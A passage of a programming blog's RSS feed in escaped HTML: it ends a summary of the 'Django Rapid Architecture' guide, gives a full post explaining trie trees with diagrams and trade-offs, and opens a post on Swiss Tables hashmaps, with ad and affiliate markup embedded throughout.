both. This is something similar to th &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;RPC and gRPC paradigm&lt;/a&gt;&#xA;, which I already wrote about.&lt;/p&gt;&#xA;&lt;h3 id=&#34;interfaces&#34;&gt;Interfaces&lt;/h3&gt;&#xA;&lt;h4 id=&#34;ssr-using-django-templates-is-top-notch&#34;&gt;SSR using Django templates is top-notch&lt;/h4&gt;&#xA;&lt;p&gt;Generating HTML on the server instead of using an API with react can increase productivity. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/&#34;&gt;HTMX combined with Django&lt;/a&gt;&#xA; is recommended, the document also considers this approach superior to using React.&lt;/p&gt;&#xA;&lt;h4 id=&#34;nest-interfaces-to-avoid-complexity&#34;&gt;Nest interfaces to avoid complexity&lt;/h4&gt;&#xA;&lt;p&gt;You can organize your code to mimick your hierarchy of url segments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/widgets/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/widgets/views.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;management-commands&#34;&gt;Management commands&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-command-in-django/&#34;&gt;Django Management commands&lt;/a&gt;&#xA; are also an interface and should be treated similar to views.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-can-i-learn-more-about-django-rapid-architecture&#34;&gt;Where can I learn more about Django Rapid Architecture?&lt;/h2&gt;&#xA;&lt;p&gt;Where can I learn more about Django Rapid Architecture?&#xA;Remember that this text is only an overview of the main ideas. If you want to dive into this architecture proposal called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rapid-architecture.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;, read the original source. I promise it’s short, only a few pages long, with a few more examples and the justification of some decisions.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day, I was browsing Reddit, and found an Architecture proposal for Django projects called &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1pko7q6/django_rapid_architecture_a_guide_to_structuring/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;&amp;rdquo;. It’s a small document with a few guidelines or principles. I’m fond of Django, and I think &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django is of the best tools out there that you should use&lt;/a&gt;&#xA;, so I read it and summarized it for you.&lt;/p&gt;&#xA;&lt;p&gt;Django Rapid Architecture is a collection of curated patterns and idioms. It aims to create maintainable Django codebases. The author claims it derives from 15+ years of experience and 100+ production projects.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>I Built A Trie Tree Data Structure Simulator</title>
      <link>https://coffeebytes.dev/en/software-architecture/i-built-a-trie-tree-data-structure-simulator/</link>
      <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/i-built-a-trie-tree-data-structure-simulator/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day I was reading the second part of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4nsgK0V&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview&lt;/a&gt;&#xA;, or was it the first? and I recall that the author was using a trie tree to design a autosuggestion search, like the one on Google. I never heard of that data structure before so I decided to build a visual simulator so you can understand it faster and better.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google search suggestion using a trie tree&#34; width=&#34;911&#34; height=&#34;427&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aside from suggestions you can also find trie trees in DNA sequence matching in bioinformatics, command routing in CLIs, compiles, and pattern matching in security just to name a few.&lt;/p&gt;&#xA;&lt;h2 id=&#34;trie-trees-the-data-structure-that-thinks-in-prefixes&#34;&gt;Trie Trees: The Data Structure That Thinks in Prefixes&lt;/h2&gt;&#xA;&lt;p&gt;When you&amp;rsquo;re working with strings in programming—think autocomplete, search suggestions (like I mentioned), or even dictionaries—you&amp;rsquo;ll eventually bump into something called a &lt;strong&gt;Trie Tree&lt;/strong&gt;. The name might sound fancy, but the idea is straightforward once you picture it.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s see how they stand apart from binary trees, what they&amp;rsquo;re good for, and in what kind of situations they just suck.&lt;/p&gt;&#xA;&lt;div id=&#34;app-trie-simulator&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;so-what-exactly-is-a-trie-tree&#34;&gt;So, what exactly is a Trie Tree?&lt;/h2&gt;&#xA;&lt;p&gt;A &lt;strong&gt;Trie&lt;/strong&gt; (pronounced like &amp;ldquo;try&amp;rdquo;) is a special kind of tree that stores strings by their prefixes. Instead of putting whole words into nodes, each level of the tree represents only one character. If you follow a path from the root to a node, you&amp;rsquo;re basically tracing out a prefix.&lt;/p&gt;&#xA;&lt;p&gt;For example, storing &amp;ldquo;cat&amp;rdquo; and &amp;ldquo;car&amp;rdquo; would share the first two steps (&amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo;), and then branch at the &amp;ldquo;t&amp;rdquo; and &amp;ldquo;r.&amp;rdquo; It&amp;rsquo;s like keeping words organized not by the entire string, but by their common beginnings or prefixes. Like morphemes serving as the base for variations.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;T;&#xA;    A--&gt;R;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Think of it like a family tree but instead of faces you use letters.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-does-it-differ-from-a-binary-tree&#34;&gt;How does it differ from a binary tree?&lt;/h3&gt;&#xA;&lt;p&gt;At first glance, you might think, &amp;ldquo;Wait, isn&amp;rsquo;t a trie tree a binary tree?&amp;rdquo; Not quite. A binary tree is built around two child nodes (left and right), usually to order numbers or balance structures.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;D;&#xA;    D--&gt;E;&#xA;    E--&gt;A;&#xA;    A--&gt;L;&#xA;    D--&gt;O;&#xA;    D--&gt;I;&#xA;    I--&gt;G;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;A Trie, on the other hand, doesn&amp;rsquo;t care about numbers or ordering in the same way. You can have three, four or any number of nodes (well only from A to Z).&lt;/p&gt;&#xA;&lt;p&gt;Here are some subtle differences:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Binary tree&lt;/strong&gt;: Think of it as a librarian sorting books by numbers or alphabetical order. Every left branch is &amp;ldquo;smaller,&amp;rdquo; every right branch is &amp;ldquo;bigger.&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Trie tree&lt;/strong&gt;: Think of it as grouping books by shared titles. Every branch is one more letter until you finish spelling the word.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That&amp;rsquo;s why tries shine with strings and look awkward if you try to force them to behave like binary trees (like your romantic relationships), so don&amp;rsquo;t do it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-are-trie-trees-used-for&#34;&gt;What are trie trees used for?&lt;/h2&gt;&#xA;&lt;p&gt;Tries pop up in more places than you&amp;rsquo;d expect. Some examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Autocomplete&lt;/strong&gt;: Every time your phone suggests &amp;ldquo;pizza&amp;rdquo; after you type &amp;ldquo;pi,&amp;rdquo; there&amp;rsquo;s probably a trie under the hood, it makes the queries &lt;del&gt;blazingly&lt;/del&gt; fast&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Spell checkers&lt;/strong&gt;: They can quickly test whether a string is in a dictionary (Somewhat similar to a Swiss Table or a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/databases/i-built-a-bloom-filter-data-structure-simulator/&#34;&gt;Bloom Filter&lt;/a&gt;&#xA;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;IP routing&lt;/strong&gt;: Networks use a similar prefix-matching idea to decide where to send packets.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Word games&lt;/strong&gt;: Ever played Scrabble helpers online?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The unifying idea is that you&amp;rsquo;re not searching one whole word at a time—you&amp;rsquo;re searching through chunks, prefixes, and paths which makes things a lot way faster and easier.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;building-one-the-minimalist-way&#34;&gt;Building one (the minimalist way)&lt;/h2&gt;&#xA;&lt;p&gt;Ok how to build one? Well this algorithm is probably in one thousands blogs already, but here it goes one more time:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with a root node (an empty shell).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;For each word, walk through its characters one by one.&lt;/li&gt;&#xA;&lt;li&gt;If a character doesn&amp;rsquo;t exist at the current node, create a child node for it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Move down to that child, and repeat until the whole word is stored.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ol start=&#34;5&#34;&gt;&#xA;&lt;li&gt;Mark the final node as &amp;ldquo;end of word.&amp;rdquo; (You can use an asterisk or whatever you want.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R*;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;That&amp;rsquo;s it. For &amp;ldquo;car,&amp;rdquo; you&amp;rsquo;d go root → &amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo; → &amp;ldquo;r.&amp;rdquo; For &amp;ldquo;cat,&amp;rdquo; you&amp;rsquo;d reuse &amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo; and just add a &amp;ldquo;t.&amp;rdquo;. Just like in the simulator above.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Root--&gt;C;&#xA;    C--&gt;A;&#xA;    A--&gt;R*;&#xA;    A--&gt;T*;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In code, it often boils down to a dictionary of dictionaries (or maps inside maps) with a flag to show when a word ends.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-shortagesbecause-nothing-can-be-perfect&#34;&gt;The shortages—because nothing can be perfect&lt;/h2&gt;&#xA;&lt;p&gt;Tree tries come with some baggage:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Memory hungry&lt;/strong&gt;: They can blow up in size if you&amp;rsquo;re storing a lot of words, especially with large alphabets, think of Google&amp;rsquo;s trie trees.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Implementation overhead&lt;/strong&gt;: A simple array or hash lookup is often easier and faster for smaller datasets, otherwise is just an overkill&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cache unfriendly&lt;/strong&gt;: Since nodes can be scattered in memory, accessing them may be slower on real machines compared to something compact like a hash table, so implement &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;caching system&lt;/a&gt;&#xA; can be complicated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;the-upsides-and-why-people-still-love-them&#34;&gt;The upsides (and why people still love them)&lt;/h2&gt;&#xA;&lt;p&gt;Now, where they really shine:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fast lookups&lt;/strong&gt;: Checking if a word exists is basically as quick as spelling it out.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Prefix-friendly&lt;/strong&gt;: Autocomplete and prefix searches are effortless.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ordered by default&lt;/strong&gt;: Unlike hash maps, words in a trie naturally come out in alphabetical order, but things can get more complex in languages like Japanese or Chinese.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shared storage&lt;/strong&gt;: Common prefixes only get stored once, which saves space if your dataset has lots of overlap. Also since a lot of words comes from morphemes, the tree can store many variations in mimum space.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Memory eaters but lightning-fast when you&amp;rsquo;re constantly checking or suggesting words.&lt;/p&gt;&#xA;&lt;h2 id=&#34;big-o-performance-and-trie-trees&#34;&gt;Big O performance and Trie Trees&lt;/h2&gt;&#xA;&lt;p&gt;What about performance and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O notation&lt;/a&gt;&#xA;? This data structure has a O(L) where L is the word&amp;rsquo;s length. The worst case scenario is a long word, or long sentences.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-optimize-a-trie-tree&#34;&gt;How to optimize a Trie Tree?&lt;/h3&gt;&#xA;&lt;p&gt;There are some memory optimization techniques if you want to squeeze more juice from this data structure. And given that memory is the Achille&amp;rsquo;s heel of this data structure that&amp;rsquo;s the thing that should be improved.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can use arrays vs &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;hash maps&lt;/a&gt;&#xA; for children&lt;/li&gt;&#xA;&lt;li&gt;If you&amp;rsquo;re dealing with a fixed alphabet you can use Bitmask representations.&lt;/li&gt;&#xA;&lt;li&gt;You can store counts of prefixes in each node to easily get how many words starts with a certain prefix.&lt;/li&gt;&#xA;&lt;li&gt;You can also store extra metadata at nodes (like frequency counts for predictive typing).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;you-probably-wont-need-trie-trees&#34;&gt;You probably won&amp;rsquo;t need trie trees&lt;/h2&gt;&#xA;&lt;p&gt;You probably won&amp;rsquo;t use this data structure every day, unless you&amp;rsquo;re into search engines, autocomplete or other related tasks, but they can be frequent in big and complex systems. But still I think that this data structure shows how you can tune performance in the most unexpected ways.&lt;/p&gt;&#xA;&lt;h2 id=&#34;some-trie-trees-implementations&#34;&gt;Some Trie trees implementations&lt;/h2&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t reinvent the wheel, here are some community-tested implementations of trie trees.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/pytries/marisa-trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Marisa-trie (Python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/datrie/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Datrie (Python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/paritytech/trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Trie (Rust)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/dghubble/trie&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Trie (Golang)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day I was reading the second part of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4nsgK0V&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview&lt;/a&gt;&#xA;, or was it the first? and I recall that the author was using a trie tree to design a autosuggestion search, like the one on Google. I never heard of that data structure before so I decided to build a visual simulator so you can understand it faster and better.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google search suggestion using a trie tree&#34; width=&#34;911&#34; height=&#34;427&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aside from suggestions you can also find trie trees in DNA sequence matching in bioinformatics, command routing in CLIs, compiles, and pattern matching in security just to name a few.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Swiss Tables the superior performance hashmap</title>
      <link>https://coffeebytes.dev/en/software-architecture/swiss-tables-the-superior-performance-hashmap/</link>
      <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/swiss-tables-the-superior-performance-hashmap/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;the-hash-map-got-a-swiss-army-knife-upgrade&#34;&gt;The Hash Map Got a Swiss Army Knife Upgrade&lt;/h2&gt;&#xA;&lt;p&gt;You&amp;rsquo;ve probably used hashmaps in the past, you normally use them but ignore everything about the internals, you limit your knowledge of hashmaps to getting and setting keys, you iterate over them probably, but that&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;, value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// or&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;hashmap[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; 